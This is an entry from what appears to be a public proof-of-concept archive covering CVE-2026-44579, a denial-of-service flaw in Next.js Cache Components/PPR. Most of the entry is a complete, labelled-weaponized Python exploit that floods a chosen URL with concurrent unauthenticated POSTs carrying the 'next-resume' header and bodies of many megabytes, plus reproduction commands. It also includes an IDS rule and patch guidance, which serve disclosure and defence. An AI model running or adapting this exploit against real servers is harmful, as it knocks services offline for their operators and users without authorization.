PoC Archive PoC Archive
High CVE-2026-44579 patched

Next.js Cache Components Connection Exhaustion DoS (CVE-2026-44579)

by dwisiswant0 · 2026-05-17

CVSS 7.5/10
Severity
High
CVE
CVE-2026-44579
Category
web
Affected product
Next.js applications using Cache Components / Partial Prerendering (PPR)
Affected versions
15.0.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44579
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSSv3)
StatusWeaponized
TagsDoS, connection-exhaustion, next-resume, Next.js, cache-components, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js applications using Cache Components / Partial Prerendering (PPR)
Versions Affected15.0.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44579 is a denial-of-service issue in Next.js Cache Components (PPR) request handling. Before the fix, a crafted client request could force the server into the next-resume flow and trigger expensive request-body processing and resume rendering work. Repeated crafted POST requests can leave connections occupied long enough to exhaust worker/file-descriptor capacity and degrade or deny service. The issue is rated High (CVSS 7.5) and fixed in 15.5.16 / 16.2.5.


Vulnerability Details

Root Cause

The internal next-resume header was not consistently filtered at the trust boundary in vulnerable builds. That allowed direct client traffic to enter a resume-specific processing path intended for trusted internal flow, causing request bodies to be consumed and resume logic to run under attacker control. Under concurrency, this creates a resource-amplification condition (connection slots, CPU, and memory).

Attack Vector

An attacker sends repeated unauthenticated POST requests to a vulnerable PPR page with next-resume and crafted request bodies (often large postponed-state payloads). Each request pushes the server through expensive resume/body parsing behavior. Sustained concurrency can starve available connections and file descriptors.

Impact

Successful exploitation can cause partial or complete service unavailability due to connection exhaustion and backend resource pressure. In affected environments this can manifest as high latency, request failures, worker starvation, and eventual outage.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Next.js app in affected version range with Cache Components/PPR path
Attacker:    Any host with network reachability to target
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44579_GHSA-mg66-mrh9-m8jx

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Run a vulnerable target with an affected Next.js version and a PPR page.

    1
    2
    
    npm install next@16.2.4
    npm run start
    
  2. Execute the Python PoC to trigger next-resume request-path abuse.

    1
    
    python3 exploit.py http://127.0.0.1:3000/some-ppr-page
    
  3. Run the shell PoC with parallel requests to amplify exhaustion behavior.

    1
    
    CONCURRENCY=20 SIZE_MB=15 bash exploit.sh http://127.0.0.1:3000/some-ppr-page
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import main

exit_code = main(["exploit.py", "http://127.0.0.1:3000/some-ppr-page", "15", "10"])
print(exit_code)

Expected Output

[+] VULNERABLE — server processed resume request (slow wall time and/or 413/500)
total wall-time for parallel resume requests significantly exceeds baseline

Screenshots / Evidence

  • screenshots/ — add timing and error-rate evidence from vulnerable environment if captured

Detection & Indicators of Compromise

next-resume: 1
x-next-resume-state-length: 1

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js next-resume connection exhaustion attempt";
  content:"next-resume|3a 20|1"; http_header;
  flow:to_server,established;
  sid:900044579; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16+ or 16.2.5+
WorkaroundStrip next-resume at edge/proxy and rate-limit large POSTs to PPR routes
Config HardeningEnforce strict header allowlists and low request-body limits on public routes

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes report no known active exploitation at publication time.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-mg66-mrh9-m8jx — Next-Resume DoS / Cache-Poisoning exploit.

Pre-patch (Next.js < 16.2.5) the renderer trusted the `next-resume` request
header to mean "an upstream proxy is requesting PPR resume render". The header
was NOT in INTERNAL_HEADERS, so a direct client could supply it and force
expensive resume processing on attacker-controlled postponed state.

Usage:
    python3 exploit.py                         # exercises a local PPR page
    python3 exploit.py http://target/ppr-page  # remote target
    python3 exploit.py http://t/p 30 20        # 30 MiB body, 20 concurrent requests
"""
import sys
import time
import threading
import urllib.request
import urllib.error


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-mg66-mrh9-m8jx -- Next-Resume DoS" + C.X)
    print(C.CY + C.B + "  Patched in 16.2.5 (commit 9d50c0b719)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def build_body(size_mb: int) -> bytes:
    target = size_mb * 1024 * 1024
    chunk = b'"X"' + b',"X"' * 10_000
    parts = [b'[', chunk]
    size = sum(len(x) for x in parts)
    while size < target:
        parts.append(b',' + chunk)
        size += len(chunk) + 1
    parts.append(b']')
    return b''.join(parts)


def send_resume(target: str, body: bytes, timeout: float = 60.0):
    req = urllib.request.Request(
        target,
        data=body,
        method='POST',
        headers={
            'next-resume': '1',
            'x-next-resume-state-length': '1',
            'Content-Type': 'text/plain',
        },
    )
    t0 = time.perf_counter()
    code = -1
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            code = r.status
            r.read()
    except urllib.error.HTTPError as e:
        code = e.code
    except Exception as e:
        return -1, time.perf_counter() - t0, str(e)
    return code, time.perf_counter() - t0, None


def baseline(target: str):
    t0 = time.perf_counter()
    try:
        with urllib.request.urlopen(target, timeout=30) as r:
            code = r.status
            r.read()
    except urllib.error.HTTPError as e:
        code = e.code
    except Exception as e:
        return -1, time.perf_counter() - t0, str(e)
    return code, time.perf_counter() - t0, None


def main(argv):
    banner()

    target = argv[1] if len(argv) > 1 else "http://127.0.0.1:3000/some-ppr-page"
    size_mb = int(argv[2]) if len(argv) > 2 else 15
    concurrency = int(argv[3]) if len(argv) > 3 else 10

    print(f"{C.B}[*] Target:{C.X}      {target}")
    print(f"{C.B}[*] Body size:{C.X}   {size_mb} MiB")
    print(f"{C.B}[*] Concurrency:{C.X} {concurrency}\n")

    print(C.Y + "[*] baseline (no header)..." + C.X)
    bcode, bwall, berr = baseline(target)
    print(f"    baseline => HTTP {bcode}  wall={bwall:.2f}s  err={berr}")

    print(C.Y + "[*] building body..." + C.X)
    body = build_body(size_mb)
    print(f"    body length = {len(body):,} bytes")

    print(C.Y + "[*] single resume request..." + C.X)
    code, wall, err = send_resume(target, body)
    print(f"    exploit  => HTTP {code}  wall={wall:.2f}s  err={err}")

    if err and 'Connection' in err:
        print(C.Y + "[!] connection error -- target may not be reachable." + C.X)
        return 2

    vulnerable = False
    if wall > 2.0:
        vulnerable = True
        print(C.G + C.B + f"[+] VULNERABLE — server processed resume request (wall={wall:.2f}s).{C.X}")
    elif code in (413, 500, 502):
        vulnerable = True
        print(C.G + C.B + f"[+] VULNERABLE — server returned {code} (resume code path executed)." + C.X)
    else:
        print(C.R + "[-] LIKELY PATCHED — header stripped before reaching renderer." + C.X)

    print()
    print(C.Y + f"[*] amplified DoS demo: {concurrency} parallel resume requests..." + C.X)
    threads = []
    results = []
    lock = threading.Lock()

    def worker():
        c, w, e = send_resume(target, body)
        with lock:
            results.append((c, w, e))

    t0 = time.perf_counter()
    for _ in range(concurrency):
        t = threading.Thread(target=worker, daemon=True)
        t.start()
        threads.append(t)
    for t in threads:
        t.join(timeout=120)
    total = time.perf_counter() - t0

    statuses = [r[0] for r in results]
    walls = [r[1] for r in results]
    print(f"    total wall = {total:.2f}s   per-request avg = {sum(walls)/max(1,len(walls)):.2f}s")
    print(f"    statuses   = {statuses}")

    return 0 if vulnerable else 1


if __name__ == "__main__":
    sys.exit(main(sys.argv))